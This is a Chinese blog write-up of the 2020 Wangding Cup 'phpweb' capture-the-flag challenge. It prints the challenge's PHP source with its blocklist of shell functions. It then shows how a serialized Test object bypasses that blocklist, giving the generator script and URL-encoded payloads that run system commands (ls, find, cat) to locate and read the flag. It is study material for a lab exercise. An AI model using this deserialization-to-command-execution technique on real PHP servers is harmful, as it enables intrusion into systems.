[网鼎杯 2020 朱雀组]phpweb

题目链接:[网鼎杯 2020 朱雀组]phpweb

打开环境后如下所示。

随后,页面会发生变化,因此使用 BurpSuite 抓包,看看情况,发现页面一直在发送 HTTP 包,如下。

可以看到,index.php 中接收了两个参数,看起来像是一个函数及对应的参数,因此尝试调用 system 函数,回显如下。

可以看到,system 函数被检测到,因此后端应该是对参数 func 的内容进行了判断。

尝试使用 file_get_contents 函数去读取 index.php 的源码,Payload:func=file_get_contents&p=index.php,获得到的源码如下。

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

可以看到,有许多函数都被禁用,如 exec、shell_exec 等。并且,func 参数会经过一次检测,随后才执行指定的函数,但是,留意到存在 Test 类,并且存在 __destruct 方法,该方法中并没有对 func 的检测,因此,可以设置 func 为 unserialize,在参数 p 中传入序列化内容。

<?php

class Test {
    var $p = "ls";
    var $func = "system";
}

$demo = new Test();
$demo_serialize = serialize($demo);

$fp1 = fopen("serialize.txt","w");
fwrite($fp1,$demo_serialize);
fclose($fp1);

$fp2 = fopen("(URL Encode)serialize.txt","w");
fwrite($fp2,urlencode($demo_serialize));
fclose($fp2);

?>

得到 Payload:func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A2%3A%22ls%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

响应包如下。

可以看到,成功的执行了 system 函数。

此处原本计划直接写入 WebShell,但是似乎写入不了,不知为何。

接下来,继续使用反序列化查找 flag 的位置,在根目录中没有发现 flag。

因此,使用 find 命令尝试去找一下 flag 位置。

Payload:func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A30%3A%22find+%2F+-name+flag%2A+2%3E%2Fdev%2Fnull%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

可以发现,在 /tmp 目录下存在着一个可疑文件,因此查看一下该文件的内容。

Payload:func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

posted @   imtaieee  阅读(25)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示